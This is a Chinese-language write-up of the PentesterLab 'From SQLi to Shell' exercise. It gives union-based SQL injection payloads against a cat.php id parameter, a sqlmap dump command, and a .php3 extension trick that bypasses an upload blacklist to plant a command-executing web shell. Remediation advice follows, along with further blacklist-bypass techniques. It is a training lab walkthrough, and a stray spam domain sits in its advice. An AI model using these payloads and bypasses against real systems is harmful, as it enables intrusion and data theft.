环境介绍
测试环境下载地址:
https://pentesterlab.com/exercises/from_sqli_to_shell
2复现过程
1.使用namp进行目标IP开放端口扫描
2.通过Nmap的主机端口发现,了解靶机对开放22、80端口,接下来我们对80端口进行访问,可以发现存在id=X的SQL注入风险点
3.通过SQL注入攻击,进行拖库
/cat.php?id=1 order by 5
/cat.php ?id=2 order by 4 通过执行POC,可知存在4列
/cat.php?id=-1 union select 1,database(),3,4 通过database()函数获取当前数据库为photoblog
/cat.php?id=-1 union select 1,table_name,3,4 from information_schema.tableswhere table_schema="photoblog"通过已获取的库名结合information_schema .tables表,获取photoblog库下相应表名
/cat.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"结合收集信息,获取users表中字段
/cat.php?id=-1 union select 1,group_concat(login,0x3a,password),3,4 from users获取表中用户信息
在这里使用Salmap进行拖库,命令如下:
>.sqlmap.py -u "http://192.168.17.140/cat.php?id=1" -D photoblog -T pictures -C id,cat,img,title --dump --start 1 --stop 5 表示获取categories表中1-5的数据
sqlmapoutput192.168.17.140dumpphotoblog目录下的pictures.csv文件为拖库导出的相应表数据
4.通过获取的Admin用户信息登录网站后台
1)上传普通的jpeg文件,通过Burp抓/放包过程可以获取服务器相应的适配组件
2) 通过上传发现存在PHP文件上传限制
3)对于php语言除了可以解析以php为后缀的文件,还可以解析php2,php3、php4、php5这些后缀的文件。通过修改php文件后缀为php3,绕过文件上传黑名单,上传使用GET参数获取命令执行的PHP文件
4)访问上传后文件所在界面,通过查看源码可以发现文件所在位置
5)访问上传文件,并结合相应的系统命令进行传参执行
3修复建议
预防SQL注入
严格检查输入变量的类型和格式
-
对数字类型的参数id的强校验(empty()为空验证和is_numeric()进行数字验证)
-
对字符串类型的参数的校验 (正则校验),例如登陆系统的用户名的校验,若校验规则为六位数字以上的字母或者数字,可以用preg_match("/^[a-zA-Z0-9]{6,}$/") www.gendan5.com
过滤和转义特殊字符
-
用php函数addslashes()进行转义,一般是对这些特殊字符进行转义:单引号(')、双引号(")、反斜杠()、NULL
-
用mysqli的php扩展中的函数 mysqli_real_escape_string(),转义字符串中的特殊字符
预防文件上传漏洞
验证文件扩展名通常有两种方式:黑名单和白名单
其他几种文件上传漏洞防御方法:
-
检查文件上传路径(避免0x00截断、IIS6.0文件夹解析漏洞、目录遍历)
-
文件扩展名检测(避免服务器以非图片的文件格式解析文件)
-
文件MIME验证(比如GIF图片MIME为image/gif,CSS文件的MIME为text/css等)
-
文件内容检测(避免图片中插入 webshell)
-
图片二次渲染(最变态的上传漏洞防御方式,基本上完全避免了文件上传漏洞)
-
文件重命名(如随机字符串或时间戳等方式,防止攻击者得到 webshell的路径)
4总结思考
黑名单过滤是一种不安全的方式,黑名单定义了一系列不安全的扩展名,服务器端在接收文件后,与黑名单扩展名对比,如果发现文件扩展名与黑名单里的扩展名匹配,则认为文件不合法。
为什么黑名单过滤是一种不安全的方式?
比如一个Web服务器为IIS6.0,Web语言为asp的网站,假定开发者使用了黑名单过滤,过滤了asp、asa、cer 等文件格式,那么可以尝试以下几种方式来绕过:
(1)大小写,比如AsP、cER等;
(2)被忽略的扩展名,IIS6.0会把cdx格式的文件当成asp来解析;
(3)配合解析漏洞,上传asp;.jpg格式文件;
(4)如果Web服务器开启了其他语言的支持,比如可以解析php文件,那么可以上传php格式的木马;
(5)利用Windows系统自动去除.和空格的特性,如上传扩展名asp.式的文件来绕过
通过以上几个例子可看出 , 黑名单过滤可靠性并不高 , 白名单过滤相对来说较为可靠
白名单与黑名单的机制恰恰相反,黑名单是定义不允许上传的扩展名,白名单则是定义允许上传的扩展名,虽然采用白名单可以防御未知风险,但是不能完全依赖白名单,因为白名单不能完全防御上传漏洞,例如各种解析漏洞等,白名单仅仅是防御上传漏洞的第一步。通常会结合其他验证方式来使用,虽然不能完全防御文件上传漏洞,但也基本上规避了绝大部分风险。
值得注意的一点是,攻击者上传了webshell之后需要得到webshell的路径才能通过工具连接webshell,所以尽量不要在任何地方(如下载链接等)暴露文件上传后的地址。